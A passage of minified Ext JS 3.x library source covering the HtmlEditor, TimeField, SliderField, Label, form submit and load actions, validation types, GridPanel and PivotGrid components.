a.name = Ext.id(); a.frameBorder = "0"; a.style.overflow = "auto"; a.src = Ext.SSL_SECURE_URL; this.wrap.dom.appendChild(a); this.iframe = a; this.monitorTask = Ext.TaskMgr.start({run:this.checkDesignMode, scope:this, interval:100}) }, initFrame:function () { Ext.TaskMgr.stop(this.monitorTask); var b = this.getDoc(); this.win = this.getWin(); b.open(); b.write(this.getDocMarkup()); b.close(); var a = {run:function () { var c = this.getDoc(); if (c.body || c.readyState == "complete") { Ext.TaskMgr.stop(a); this.setDesignMode(true); this.initEditor.defer(10, this) } }, interval:10, duration:10000, scope:this}; Ext.TaskMgr.start(a) }, checkDesignMode:function () { if (this.wrap && this.wrap.dom.offsetWidth) { var a = this.getDoc(); if (!a) { return } if (!a.editorInitialized || this.getDesignMode() != "on") { this.initFrame() } } }, setDesignMode:function (b) { var a = this.getDoc(); if (a) { if (this.readOnly) { b = false } a.designMode = (/on|true/i).test(String(b).toLowerCase()) ? "on" : "off" } }, getDesignMode:function () { var a = this.getDoc(); if (!a) { return"" } return String(a.designMode).toLowerCase() }, disableItems:function (a) { if (this.fontSelect) { this.fontSelect.dom.disabled = a } this.tb.items.each(function (b) { if (b.getItemId() != "sourceedit") { b.setDisabled(a) } }) }, onResize:function (b, c) { Ext.form.HtmlEditor.superclass.onResize.apply(this, arguments); if (this.el && this.iframe) { if (Ext.isNumber(b)) { var e = b - this.wrap.getFrameWidth("lr"); this.el.setWidth(e); this.tb.setWidth(e); this.iframe.style.width = Math.max(e, 0) + "px" } if (Ext.isNumber(c)) { var a = c - this.wrap.getFrameWidth("tb") - this.tb.el.getHeight(); this.el.setHeight(a); this.iframe.style.height = Math.max(a, 0) + "px"; var d = this.getEditorBody(); if (d) { d.style.height = Math.max((a - (this.iframePad * 2)), 0) + "px" } } } }, toggleSourceEdit:function (b) { var d, a; if (b === undefined) { b = !this.sourceEditMode } this.sourceEditMode = b === true; var c = this.tb.getComponent("sourceedit"); if (c.pressed !== this.sourceEditMode) { c.toggle(this.sourceEditMode); if (!c.xtbHidden) { return } } if (this.sourceEditMode) { this.previousSize = this.getSize(); d = Ext.get(this.iframe).getHeight(); this.disableItems(true); this.syncValue(); this.iframe.className = "x-hidden"; this.el.removeClass("x-hidden"); this.el.dom.removeAttribute("tabIndex"); this.el.focus(); this.el.dom.style.height = d + "px" } else { a = parseInt(this.el.dom.style.height, 10); if (this.initialized) { this.disableItems(this.readOnly) } this.pushValue(); this.iframe.className = ""; this.el.addClass("x-hidden"); this.el.dom.setAttribute("tabIndex", -1); this.deferFocus(); this.setSize(this.previousSize); delete this.previousSize; this.iframe.style.height = a + "px" } this.fireEvent("editmodechange", this, this.sourceEditMode) }, createLink:function () { var a = prompt(this.createLinkText, this.defaultLinkValue); if (a && a != "http://") { this.relayCmd("createlink", a) } }, initEvents:function () { this.originalValue = this.getValue() }, markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn, setValue:function (a) { Ext.form.HtmlEditor.superclass.setValue.call(this, a); this.pushValue(); return this }, cleanHtml:function (a) { a = String(a); if (Ext.isWebKit) { a = a.replace(/\sclass="(?:Apple-style-span|khtml-block-placeholder)"/gi, "") } if (a.charCodeAt(0) == this.defaultValue.replace(/\D/g, "")) { a = a.substring(1) } return a }, syncValue:function () { if (this.initialized) { var d = this.getEditorBody(); var c = d.innerHTML; if (Ext.isWebKit) { var b = d.getAttribute("style"); var a = b.match(/text-align:(.*?);/i); if (a && a[1]) { c = '
    ' + c + "
    " } } c = this.cleanHtml(c); if (this.fireEvent("beforesync", this, c) !== false) { this.el.dom.value = c; this.fireEvent("sync", this, c) } } }, getValue:function () { this[this.sourceEditMode ? "pushValue" : "syncValue"](); return Ext.form.HtmlEditor.superclass.getValue.call(this) }, pushValue:function () { if (this.initialized) { var a = this.el.dom.value; if (!this.activated && a.length < 1) { a = this.defaultValue } if (this.fireEvent("beforepush", this, a) !== false) { this.getEditorBody().innerHTML = a; if (Ext.isGecko) { this.setDesignMode(false); this.setDesignMode(true) } this.fireEvent("push", this, a) } } }, deferFocus:function () { this.focus.defer(10, this) }, focus:function () { if (this.win && !this.sourceEditMode) { this.win.focus() } else { this.el.focus() } }, initEditor:function () { try { var c = this.getEditorBody(), a = this.el.getStyles("font-size", "font-family", "background-image", "background-repeat", "background-color", "color"), g, b; a["background-attachment"] = "fixed"; c.bgProperties = "fixed"; Ext.DomHelper.applyStyles(c, a); g = this.getDoc(); if (g) { try { Ext.EventManager.removeAll(g) } catch (d) { } } b = this.onEditorEvent.createDelegate(this); Ext.EventManager.on(g, {mousedown:b, dblclick:b, click:b, keyup:b, buffer:100}); if (Ext.isGecko) { Ext.EventManager.on(g, "keypress", this.applyCommand, this) } if (Ext.isIE || Ext.isWebKit || Ext.isOpera) { Ext.EventManager.on(g, "keydown", this.fixKeys, this) } g.editorInitialized = true; this.initialized = true; this.pushValue(); this.setReadOnly(this.readOnly); this.fireEvent("initialize", this) } catch (d) { } }, beforeDestroy:function () { if (this.monitorTask) { Ext.TaskMgr.stop(this.monitorTask) } if (this.rendered) { Ext.destroy(this.tb); var b = this.getDoc(); if (b) { try { Ext.EventManager.removeAll(b); for (var c in b) { delete b[c] } } catch (a) { } } if (this.wrap) { this.wrap.dom.innerHTML = ""; this.wrap.remove() } } Ext.form.HtmlEditor.superclass.beforeDestroy.call(this) }, onFirstFocus:function () { this.activated = true; this.disableItems(this.readOnly); if (Ext.isGecko) { this.win.focus(); var a = this.win.getSelection(); if (!a.focusNode || a.focusNode.nodeType != 3) { var b = a.getRangeAt(0); b.selectNodeContents(this.getEditorBody()); b.collapse(true); this.deferFocus() } try { this.execCmd("useCSS", true); this.execCmd("styleWithCSS", false) } catch (c) { } } this.fireEvent("activate", this) }, adjustFont:function (b) { var d = b.getItemId() == "increasefontsize" ? 1 : -1, c = this.getDoc(), a = parseInt(c.queryCommandValue("FontSize") || 2, 10); if ((Ext.isSafari && !Ext.isSafari2) || Ext.isChrome || Ext.isAir) { if (a <= 10) { a = 1 + d } else { if (a <= 13) { a = 2 + d } else { if (a <= 16) { a = 3 + d } else { if (a <= 18) { a = 4 + d } else { if (a <= 24) { a = 5 + d } else { a = 6 + d } } } } } a = a.constrain(1, 6) } else { if (Ext.isSafari) { d *= 2 } a = Math.max(1, a + d) + (Ext.isSafari ? "px" : 0) } this.execCmd("FontSize", a) }, onEditorEvent:function (a) { this.updateToolbar() }, updateToolbar:function () { if (this.readOnly) { return } if (!this.activated) { this.onFirstFocus(); return } var b = this.tb.items.map, c = this.getDoc(); if (this.enableFont && !Ext.isSafari2) { var a = (c.queryCommandValue("FontName") || this.defaultFont).toLowerCase(); if (a != this.fontSelect.dom.value) { this.fontSelect.dom.value = a } } if (this.enableFormat) { b.bold.toggle(c.queryCommandState("bold")); b.italic.toggle(c.queryCommandState("italic")); b.underline.toggle(c.queryCommandState("underline")) } if (this.enableAlignments) { b.justifyleft.toggle(c.queryCommandState("justifyleft")); b.justifycenter.toggle(c.queryCommandState("justifycenter")); b.justifyright.toggle(c.queryCommandState("justifyright")) } if (!Ext.isSafari2 && this.enableLists) { b.insertorderedlist.toggle(c.queryCommandState("insertorderedlist")); b.insertunorderedlist.toggle(c.queryCommandState("insertunorderedlist")) } Ext.menu.MenuMgr.hideAll(); this.syncValue() }, relayBtnCmd:function (a) { this.relayCmd(a.getItemId()) }, relayCmd:function (b, a) { (function () { this.focus(); this.execCmd(b, a); this.updateToolbar() }).defer(10, this) }, execCmd:function (b, a) { var c = this.getDoc(); c.execCommand(b, false, a === undefined ? null : a); this.syncValue() }, applyCommand:function (b) { if (b.ctrlKey) { var d = b.getCharCode(), a; if (d > 0) { d = String.fromCharCode(d); switch (d) { case"b": a = "bold"; break; case"i": a = "italic"; break; case"u": a = "underline"; break } if (a) { this.win.focus(); this.execCmd(a); this.deferFocus(); b.preventDefault() } } } }, insertAtCursor:function (c) { if (!this.activated) { return } if (Ext.isIE) { this.win.focus(); var b = this.getDoc(), a = b.selection.createRange(); if (a) { a.pasteHTML(c); this.syncValue(); this.deferFocus() } } else { this.win.focus(); this.execCmd("InsertHTML", c); this.deferFocus() } }, fixKeys:function () { if (Ext.isIE) { return function (g) { var a = g.getKey(), d = this.getDoc(), b; if (a == g.TAB) { g.stopEvent(); b = d.selection.createRange(); if (b) { b.collapse(true); b.pasteHTML("    "); this.deferFocus() } } else { if (a == g.ENTER) { b = d.selection.createRange(); if (b) { var c = b.parentElement(); if (!c || c.tagName.toLowerCase() != "li") { g.stopEvent(); b.pasteHTML("
    "); b.collapse(false); b.select() } } } } } } else { if (Ext.isOpera) { return function (b) { var a = b.getKey(); if (a == b.TAB) { b.stopEvent(); this.win.focus(); this.execCmd("InsertHTML", "    "); this.deferFocus() } } } else { if (Ext.isWebKit) { return function (b) { var a = b.getKey(); if (a == b.TAB) { b.stopEvent(); this.execCmd("InsertText", "\t"); this.deferFocus() } else { if (a == b.ENTER) { b.stopEvent(); this.execCmd("InsertHtml", "

    "); this.deferFocus() } } } } } } }(), getToolbar:function () { return this.tb }, buttonTips:{bold:{title:"Bold (Ctrl+B)", text:"Make the selected text bold.", cls:"x-html-editor-tip"}, italic:{title:"Italic (Ctrl+I)", text:"Make the selected text italic.", cls:"x-html-editor-tip"}, underline:{title:"Underline (Ctrl+U)", text:"Underline the selected text.", cls:"x-html-editor-tip"}, increasefontsize:{title:"Grow Text", text:"Increase the font size.", cls:"x-html-editor-tip"}, decreasefontsize:{title:"Shrink Text", text:"Decrease the font size.", cls:"x-html-editor-tip"}, backcolor:{title:"Text Highlight Color", text:"Change the background color of the selected text.", cls:"x-html-editor-tip"}, forecolor:{title:"Font Color", text:"Change the color of the selected text.", cls:"x-html-editor-tip"}, justifyleft:{title:"Align Text Left", text:"Align text to the left.", cls:"x-html-editor-tip"}, justifycenter:{title:"Center Text", text:"Center text in the editor.", cls:"x-html-editor-tip"}, justifyright:{title:"Align Text Right", text:"Align text to the right.", cls:"x-html-editor-tip"}, insertunorderedlist:{title:"Bullet List", text:"Start a bulleted list.", cls:"x-html-editor-tip"}, insertorderedlist:{title:"Numbered List", text:"Start a numbered list.", cls:"x-html-editor-tip"}, createlink:{title:"Hyperlink", text:"Make the selected text a hyperlink.", cls:"x-html-editor-tip"}, sourceedit:{title:"Source Edit", text:"Switch to source editing mode.", cls:"x-html-editor-tip"}}}); Ext.reg("htmleditor", Ext.form.HtmlEditor); Ext.form.TimeField = Ext.extend(Ext.form.ComboBox, {minValue:undefined, maxValue:undefined, minText:"The time in this field must be equal to or after {0}", maxText:"The time in this field must be equal to or before {0}", invalidText:"{0} is not a valid time", format:"g:i A", altFormats:"g:ia|g:iA|g:i a|g:i A|h:i|g:i|H:i|ga|ha|gA|h a|g a|g A|gi|hi|gia|hia|g|H|gi a|hi a|giA|hiA|gi A|hi A", increment:15, mode:"local", triggerAction:"all", typeAhead:false, initDate:"1/1/2008", initDateFormat:"j/n/Y", initComponent:function () { if (Ext.isDefined(this.minValue)) { this.setMinValue(this.minValue, true) } if (Ext.isDefined(this.maxValue)) { this.setMaxValue(this.maxValue, true) } if (!this.store) { this.generateStore(true) } Ext.form.TimeField.superclass.initComponent.call(this) }, setMinValue:function (b, a) { this.setLimit(b, true, a); return this }, setMaxValue:function (b, a) { this.setLimit(b, false, a); return this }, generateStore:function (b) { var c = this.minValue || new Date(this.initDate).clearTime(), a = this.maxValue || new Date(this.initDate).clearTime().add("mi", (24 * 60) - 1), d = []; while (c <= a) { d.push(c.dateFormat(this.format)); c = c.add("mi", this.increment) } this.bindStore(d, b) }, setLimit:function (b, g, a) { var e; if (Ext.isString(b)) { e = this.parseDate(b) } else { if (Ext.isDate(b)) { e = b } } if (e) { var c = new Date(this.initDate).clearTime(); c.setHours(e.getHours(), e.getMinutes(), e.getSeconds(), e.getMilliseconds()); this[g ? "minValue" : "maxValue"] = c; if (!a) { this.generateStore() } } }, getValue:function () { var a = Ext.form.TimeField.superclass.getValue.call(this); return this.formatDate(this.parseDate(a)) || "" }, setValue:function (a) { return Ext.form.TimeField.superclass.setValue.call(this, this.formatDate(this.parseDate(a))) }, validateValue:Ext.form.DateField.prototype.validateValue, formatDate:Ext.form.DateField.prototype.formatDate, parseDate:function (h) { if (!h || Ext.isDate(h)) { return h } var j = this.initDate + " ", g = this.initDateFormat + " ", b = Date.parseDate(j + h, g + this.format), c = this.altFormats; if (!b && c) { if (!this.altFormatsArray) { this.altFormatsArray = c.split("|") } for (var e = 0, d = this.altFormatsArray, a = d.length; e < a && !b; e++) { b = Date.parseDate(j + h, g + d[e]) } } return b }}); Ext.reg("timefield", Ext.form.TimeField); Ext.form.SliderField = Ext.extend(Ext.form.Field, {useTips:true, tipText:null, actionMode:"wrap", initComponent:function () { var b = Ext.copyTo({id:this.id + "-slider"}, this.initialConfig, ["vertical", "minValue", "maxValue", "decimalPrecision", "keyIncrement", "increment", "clickToChange", "animate"]); if (this.useTips) { var a = this.tipText ? {getText:this.tipText} : {}; b.plugins = [new Ext.slider.Tip(a)] } this.slider = new Ext.Slider(b); Ext.form.SliderField.superclass.initComponent.call(this) }, onRender:function (b, a) { this.autoCreate = {id:this.id, name:this.name, type:"hidden", tag:"input"}; Ext.form.SliderField.superclass.onRender.call(this, b, a); this.wrap = this.el.wrap({cls:"x-form-field-wrap"}); this.resizeEl = this.positionEl = this.wrap; this.slider.render(this.wrap) }, onResize:function (b, c, d, a) { Ext.form.SliderField.superclass.onResize.call(this, b, c, d, a); this.slider.setSize(b, c) }, initEvents:function () { Ext.form.SliderField.superclass.initEvents.call(this); this.slider.on("change", this.onChange, this) }, onChange:function (b, a) { this.setValue(a, undefined, true) }, onEnable:function () { Ext.form.SliderField.superclass.onEnable.call(this); this.slider.enable() }, onDisable:function () { Ext.form.SliderField.superclass.onDisable.call(this); this.slider.disable() }, beforeDestroy:function () { Ext.destroy(this.slider); Ext.form.SliderField.superclass.beforeDestroy.call(this) }, alignErrorIcon:function () { this.errorIcon.alignTo(this.slider.el, "tl-tr", [2, 0]) }, setMinValue:function (a) { this.slider.setMinValue(a); return this }, setMaxValue:function (a) { this.slider.setMaxValue(a); return this }, setValue:function (c, b, a) { if (!a) { this.slider.setValue(c, b) } return Ext.form.SliderField.superclass.setValue.call(this, this.slider.getValue()) }, getValue:function () { return this.slider.getValue() }}); Ext.reg("sliderfield", Ext.form.SliderField); Ext.form.Label = Ext.extend(Ext.BoxComponent, {onRender:function (b, a) { if (!this.el) { this.el = document.createElement("label"); this.el.id = this.getId(); this.el.innerHTML = this.text ? Ext.util.Format.htmlEncode(this.text) : (this.html || ""); if (this.forId) { this.el.setAttribute("for", this.forId) } } Ext.form.Label.superclass.onRender.call(this, b, a) }, setText:function (a, b) { var c = b === false; this[!c ? "text" : "html"] = a; delete this[c ? "text" : "html"]; if (this.rendered) { this.el.dom.innerHTML = b !== false ? Ext.util.Format.htmlEncode(a) : a } return this }}); Ext.reg("label", Ext.form.Label); Ext.form.Action = function (b, a) { this.form = b; this.options = a || {} }; Ext.form.Action.CLIENT_INVALID = "client"; Ext.form.Action.SERVER_INVALID = "server"; Ext.form.Action.CONNECT_FAILURE = "connect"; Ext.form.Action.LOAD_FAILURE = "load"; Ext.form.Action.prototype = {type:"default", run:function (a) { }, success:function (a) { }, handleResponse:function (a) { }, failure:function (a) { this.response = a; this.failureType = Ext.form.Action.CONNECT_FAILURE; this.form.afterAction(this, false) }, processResponse:function (a) { this.response = a; if (!a.responseText && !a.responseXML) { return true } this.result = this.handleResponse(a); return this.result }, decodeResponse:function (a) { try { return Ext.decode(a.responseText) } catch (b) { return false } }, getUrl:function (c) { var a = this.options.url || this.form.url || this.form.el.dom.action; if (c) { var b = this.getParams(); if (b) { a = Ext.urlAppend(a, b) } } return a }, getMethod:function () { return(this.options.method || this.form.method || this.form.el.dom.method || "POST").toUpperCase() }, getParams:function () { var a = this.form.baseParams; var b = this.options.params; if (b) { if (typeof b == "object") { b = Ext.urlEncode(Ext.applyIf(b, a)) } else { if (typeof b == "string" && a) { b += "&" + Ext.urlEncode(a) } } } else { if (a) { b = Ext.urlEncode(a) } } return b }, createCallback:function (a) { var a = a || {}; return{success:this.success, failure:this.failure, scope:this, timeout:(a.timeout * 1000) || (this.form.timeout * 1000), upload:this.form.fileUpload ? this.success : undefined} }}; Ext.form.Action.Submit = function (b, a) { Ext.form.Action.Submit.superclass.constructor.call(this, b, a) }; Ext.extend(Ext.form.Action.Submit, Ext.form.Action, {type:"submit", run:function () { var e = this.options, g = this.getMethod(), d = g == "GET"; if (e.clientValidation === false || this.form.isValid()) { if (e.submitEmptyText === false) { var a = this.form.items, c = [], b = function (h) { if (h.el.getValue() == h.emptyText) { c.push(h); h.el.dom.value = "" } if (h.isComposite && h.rendered) { h.items.each(b) } }; a.each(b) } Ext.Ajax.request(Ext.apply(this.createCallback(e), {form:this.form.el.dom, url:this.getUrl(d), method:g, headers:e.headers, params:!d ? this.getParams() : null, isUpload:this.form.fileUpload})); if (e.submitEmptyText === false) { Ext.each(c, function (h) { if (h.applyEmptyText) { h.applyEmptyText() } }) } } else { if (e.clientValidation !== false) { this.failureType = Ext.form.Action.CLIENT_INVALID; this.form.afterAction(this, false) } } }, success:function (b) { var a = this.processResponse(b); if (a === true || a.success) { this.form.afterAction(this, true); return } if (a.errors) { this.form.markInvalid(a.errors) } this.failureType = Ext.form.Action.SERVER_INVALID; this.form.afterAction(this, false) }, handleResponse:function (c) { if (this.form.errorReader) { var b = this.form.errorReader.read(c); var g = []; if (b.records) { for (var d = 0, a = b.records.length; d < a; d++) { var e = b.records[d]; g[d] = e.data } } if (g.length < 1) { g = null } return{success:b.success, errors:g} } return this.decodeResponse(c) }}); Ext.form.Action.Load = function (b, a) { Ext.form.Action.Load.superclass.constructor.call(this, b, a); this.reader = this.form.reader }; Ext.extend(Ext.form.Action.Load, Ext.form.Action, {type:"load", run:function () { Ext.Ajax.request(Ext.apply(this.createCallback(this.options), {method:this.getMethod(), url:this.getUrl(false), headers:this.options.headers, params:this.getParams()})) }, success:function (b) { var a = this.processResponse(b); if (a === true || !a.success || !a.data) { this.failureType = Ext.form.Action.LOAD_FAILURE; this.form.afterAction(this, false); return } this.form.clearInvalid(); this.form.setValues(a.data); this.form.afterAction(this, true) }, handleResponse:function (b) { if (this.form.reader) { var a = this.form.reader.read(b); var c = a.records && a.records[0] ? a.records[0].data : null; return{success:a.success, data:c} } return this.decodeResponse(b) }}); Ext.form.Action.DirectLoad = Ext.extend(Ext.form.Action.Load, {constructor:function (b, a) { Ext.form.Action.DirectLoad.superclass.constructor.call(this, b, a) }, type:"directload", run:function () { var a = this.getParams(); a.push(this.success, this); this.form.api.load.apply(window, a) }, getParams:function () { var c = [], h = {}; var e = this.form.baseParams; var g = this.options.params; Ext.apply(h, g, e); var b = this.form.paramOrder; if (b) { for (var d = 0, a = b.length; d < a; d++) { c.push(h[b[d]]) } } else { if (this.form.paramsAsHash) { c.push(h) } } return c }, processResponse:function (a) { this.result = a; return a }, success:function (a, b) { if (b.type == Ext.Direct.exceptions.SERVER) { a = {} } Ext.form.Action.DirectLoad.superclass.success.call(this, a) }}); Ext.form.Action.DirectSubmit = Ext.extend(Ext.form.Action.Submit, {constructor:function (b, a) { Ext.form.Action.DirectSubmit.superclass.constructor.call(this, b, a) }, type:"directsubmit", run:function () { var a = this.options; if (a.clientValidation === false || this.form.isValid()) { this.success.params = this.getParams(); this.form.api.submit(this.form.el.dom, this.success, this) } else { if (a.clientValidation !== false) { this.failureType = Ext.form.Action.CLIENT_INVALID; this.form.afterAction(this, false) } } }, getParams:function () { var c = {}; var a = this.form.baseParams; var b = this.options.params; Ext.apply(c, b, a); return c }, processResponse:function (a) { this.result = a; return a }, success:function (a, b) { if (b.type == Ext.Direct.exceptions.SERVER) { a = {} } Ext.form.Action.DirectSubmit.superclass.success.call(this, a) }}); Ext.form.Action.ACTION_TYPES = {load:Ext.form.Action.Load, submit:Ext.form.Action.Submit, directload:Ext.form.Action.DirectLoad, directsubmit:Ext.form.Action.DirectSubmit}; Ext.form.VTypes = function () { var c = /^[a-zA-Z_]+$/, d = /^[a-zA-Z0-9_]+$/, b = /^(\w+)([\-+.\'][\w]+)*@(\w[\-\w]*\.){1,5}([A-Za-z]){2,6}$/, a = /(((^https?)|(^ftp)):\/\/([\-\w]+\.)+\w{2,3}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\\/+@&#;`~=%!]*)(\.\w{2,})?)*\/?)/i; return{email:function (e) { return b.test(e) }, emailText:'This field should be an e-mail address in the format "user@example.com"', emailMask:/[a-z0-9_\.\-\+\'@]/i, url:function (e) { return a.test(e) }, urlText:'This field should be a URL in the format "http://www.example.com"', alpha:function (e) { return c.test(e) }, alphaText:"This field should only contain letters and _", alphaMask:/[a-z_]/i, alphanum:function (e) { return d.test(e) }, alphanumText:"This field should only contain letters, numbers and _", alphanumMask:/[a-z0-9_]/i} }(); Ext.grid.GridPanel = Ext.extend(Ext.Panel, {autoExpandColumn:false, autoExpandMax:1000, autoExpandMin:50, columnLines:false, ddText:"{0} selected row{1}", deferRowRender:true, enableColumnHide:true, enableColumnMove:true, enableDragDrop:false, enableHdMenu:true, loadMask:false, minColumnWidth:25, stripeRows:false, trackMouseOver:true, stateEvents:["columnmove", "columnresize", "sortchange", "groupchange"], view:null, bubbleEvents:[], rendered:false, viewReady:false, initComponent:function () { Ext.grid.GridPanel.superclass.initComponent.call(this); if (this.columnLines) { this.cls = (this.cls || "") + " x-grid-with-col-lines" } this.autoScroll = false; this.autoWidth = false; if (Ext.isArray(this.columns)) { this.colModel = new Ext.grid.ColumnModel(this.columns); delete this.columns } if (this.ds) { this.store = this.ds; delete this.ds } if (this.cm) { this.colModel = this.cm; delete this.cm } if (this.sm) { this.selModel = this.sm; delete this.sm } this.store = Ext.StoreMgr.lookup(this.store); this.addEvents("click", "dblclick", "contextmenu", "mousedown", "mouseup", "mouseover", "mouseout", "keypress", "keydown", "cellmousedown", "rowmousedown", "headermousedown", "groupmousedown", "rowbodymousedown", "containermousedown", "cellclick", "celldblclick", "rowclick", "rowdblclick", "headerclick", "headerdblclick", "groupclick", "groupdblclick", "containerclick", "containerdblclick", "rowbodyclick", "rowbodydblclick", "rowcontextmenu", "cellcontextmenu", "headercontextmenu", "groupcontextmenu", "containercontextmenu", "rowbodycontextmenu", "bodyscroll", "columnresize", "columnmove", "sortchange", "groupchange", "reconfigure", "viewready") }, onRender:function (d, a) { Ext.grid.GridPanel.superclass.onRender.apply(this, arguments); var e = this.getGridEl(); this.el.addClass("x-grid-panel"); this.mon(e, {scope:this, mousedown:this.onMouseDown, click:this.onClick, dblclick:this.onDblClick, contextmenu:this.onContextMenu}); this.relayEvents(e, ["mousedown", "mouseup", "mouseover", "mouseout", "keypress", "keydown"]); var b = this.getView(); b.init(this); b.render(); this.getSelectionModel().init(this) }, initEvents:function () { Ext.grid.GridPanel.superclass.initEvents.call(this); if (this.loadMask) { this.loadMask = new Ext.LoadMask(this.bwrap, Ext.apply({store:this.store}, this.loadMask)) } }, initStateEvents:function () { Ext.grid.GridPanel.superclass.initStateEvents.call(this); this.mon(this.colModel, "hiddenchange", this.saveState, this, {delay:100}) }, applyState:function (a) { var k = this.colModel, g = a.columns, j = this.store, m, h, l; if (g) { for (var d = 0, e = g.length; d < e; d++) { m = g[d]; h = k.getColumnById(m.id); if (h) { l = k.getIndexById(m.id); k.setState(l, {hidden:m.hidden, width:m.width, sortable:m.sortable}); if (l != d) { k.moveColumn(l, d) } } } } if (j) { m = a.sort; if (m) { j[j.remoteSort ? "setDefaultSort" : "sort"](m.field, m.direction) } m = a.group; if (j.groupBy) { if (m) { j.groupBy(m) } else { j.clearGrouping() } } } var b = Ext.apply({}, a); delete b.columns; delete b.sort; Ext.grid.GridPanel.superclass.applyState.call(this, b) }, getState:function () { var g = {columns:[]}, b = this.store, e, a; for (var d = 0, h; (h = this.colModel.config[d]); d++) { g.columns[d] = {id:h.id, width:h.width}; if (h.hidden) { g.columns[d].hidden = true } if (h.sortable) { g.columns[d].sortable = true } } if (b) { e = b.getSortState(); if (e) { g.sort = e } if (b.getGroupState) { a = b.getGroupState(); if (a) { g.group = a } } } return g }, afterRender:function () { Ext.grid.GridPanel.superclass.afterRender.call(this); var a = this.view; this.on("bodyresize", a.layout, a); a.layout(true); if (this.deferRowRender) { if (!this.deferRowRenderTask) { this.deferRowRenderTask = new Ext.util.DelayedTask(a.afterRender, this.view) } this.deferRowRenderTask.delay(10) } else { a.afterRender() } this.viewReady = true }, reconfigure:function (a, b) { var c = this.rendered; if (c) { if (this.loadMask) { this.loadMask.destroy(); this.loadMask = new Ext.LoadMask(this.bwrap, Ext.apply({}, {store:a}, this.initialConfig.loadMask)) } } if (this.view) { this.view.initData(a, b) } this.store = a; this.colModel = b; if (c) { this.view.refresh(true) } this.fireEvent("reconfigure", this, a, b) }, onDestroy:function () { if (this.deferRowRenderTask && this.deferRowRenderTask.cancel) { this.deferRowRenderTask.cancel() } if (this.rendered) { Ext.destroy(this.view, this.loadMask) } else { if (this.store && this.store.autoDestroy) { this.store.destroy() } } Ext.destroy(this.colModel, this.selModel); this.store = this.selModel = this.colModel = this.view = this.loadMask = null; Ext.grid.GridPanel.superclass.onDestroy.call(this) }, processEvent:function (a, b) { this.view.processEvent(a, b) }, onClick:function (a) { this.processEvent("click", a) }, onMouseDown:function (a) { this.processEvent("mousedown", a) }, onContextMenu:function (b, a) { this.processEvent("contextmenu", b) }, onDblClick:function (a) { this.processEvent("dblclick", a) }, walkCells:function (k, c, b, e, j) { var i = this.colModel, g = i.getColumnCount(), a = this.store, h = a.getCount(), d = true; if (b < 0) { if (c < 0) { k--; d = false } while (k >= 0) { if (!d) { c = g - 1 } d = false; while (c >= 0) { if (e.call(j || this, k, c, i) === true) { return[k, c] } c-- } k-- } } else { if (c >= g) { k++; d = false } while (k < h) { if (!d) { c = 0 } d = false; while (c < g) { if (e.call(j || this, k, c, i) === true) { return[k, c] } c++ } k++ } } return null }, getGridEl:function () { return this.body }, stopEditing:Ext.emptyFn, getSelectionModel:function () { if (!this.selModel) { this.selModel = new Ext.grid.RowSelectionModel(this.disableSelection ? {selectRow:Ext.emptyFn} : null) } return this.selModel }, getStore:function () { return this.store }, getColumnModel:function () { return this.colModel }, getView:function () { if (!this.view) { this.view = new Ext.grid.GridView(this.viewConfig) } return this.view }, getDragDropText:function () { var a = this.selModel.getCount(); return String.format(this.ddText, a, a == 1 ? "" : "s") }}); Ext.reg("grid", Ext.grid.GridPanel); Ext.grid.PivotGrid = Ext.extend(Ext.grid.GridPanel, {aggregator:"sum", renderer:undefined, initComponent:function () { Ext.grid.PivotGrid.superclass.initComponent.apply(this, arguments); this.initAxes(); this.enableColumnResize = false; this.viewConfig = Ext.apply(this.viewConfig || {}, {forceFit:true}); this.colModel = new Ext.grid.ColumnModel({}) }, getAggregator:function () { if (typeof this.aggregator == "string") { return Ext.grid.PivotAggregatorMgr.types[this.aggregator] } else { return this.aggregator } }, setAggregator:function (a) { this.aggregator = a }, setMeasure:function (a) { this.measure = a }, setLeftAxis:function (b, a) { this.leftAxis = b; if (a) { this.view.refresh() } }, setTopAxis:function (b, a) { this.topAxis = b; if (a) { this.view.refresh() } }, initAxes:function () { var a = Ext.grid.PivotAxis; if (!(this.leftAxis instanceof a)) { this.setLeftAxis(new a({orientation:"vertical", dimensions:this.leftAxis || [], store:this.store})) } if (!(this.topAxis instanceof a)) { this.setTopAxis(new a({orientation:"horizontal", dimensions:this.topAxis || [], store:this.store})) } }, extractData:function () { var c = this.store.data.items, s = c.length, q = [], h, g, e, d; if (s == 0) { return[] } var l = this.leftAxis.getTuples(), o = l.length, m = this.topAxis.getTuples(), a = m.length, b = this.getAggregator(); for (g = 0; g < s; g++) { h = c[g]; for (e = 0; e < o; e++) { q[e] = q[e] || []; if (l[e].matcher(h) === true) { for (d = 0; d < a; d++) { q[e][d] = q[e][d] || []; if (m[d].matcher(h)) { q[e][d].push(h) } } } } } var n = q.length, p, r; for (g = 0; g < n; g++) { r = q[g]; p = r.length; for (e = 0; e < p; e++) { q[g][e] = b(q[g][e], this.measure) } } return q }, getView:function () { if (!this.view) { this.view = new Ext.grid.PivotGridView(this.viewConfig) } return this.view }}); Ext.reg("pivotgrid", Ext.grid.PivotGrid); Ext.grid.PivotAggregatorMgr = new Ext.AbstractManager(); Ext.grid.PivotAggregatorMgr.registerType("sum", function (a, c) { var e = a.length, d = 0, b; for (b = 0; b < e; b++) { d += a[b].get(c) } return d }); Ext.grid.PivotAggregatorMgr.registerType("avg", function (a, c) { var e = a.length, d = 0, b; for (b = 0; b < e; b++) { d += a[b].get(c) } return(d / e) || "n/a" }); Ext.grid.PivotAggregatorMgr.registerType("min", function (a, c) { var e = [], d = a.length, b; for (b = 0; b < d; b++) { e.push(a[b].get(c)) } return Math.min.apply(this, e) || "n/a" }); Ext.grid.PivotAggregatorMgr.registerType("max", function (a, c) { var e = [], d = a.length, b; for (b = 0; b < d; b++) { e.push(a[b].get(c)) } return Math.max.apply(this, e) || "n/a" }); Ext.grid.PivotAggregatorMgr.registerType("count", function (a, b) { return a.length }); Ext.grid.GridView = Ext.extend(Ext.util.Observable, {deferEmptyText:true, scrollOffset:undefined, autoFill:false, forceFit:false, sortClasses:["sort-asc", "sort-desc"], sortAscText:"Sort Ascending", sortDescText:"Sort Descending", columnsText:"Columns", selectedRowClass:"x-grid3-row-selected", borderWidth:2, tdClass:"x-grid3-cell", hdCls:"x-grid3-hd", markDirty:true, cellSelectorDepth:4, rowSelectorDepth:10, rowBodySelectorDepth:10, cellSelector:"td.x-grid3-cell", rowSelector:"div.x-grid3-row", rowBodySelector:"div.x-grid3-row-body", firstRowCls:"x-grid3-row-first", 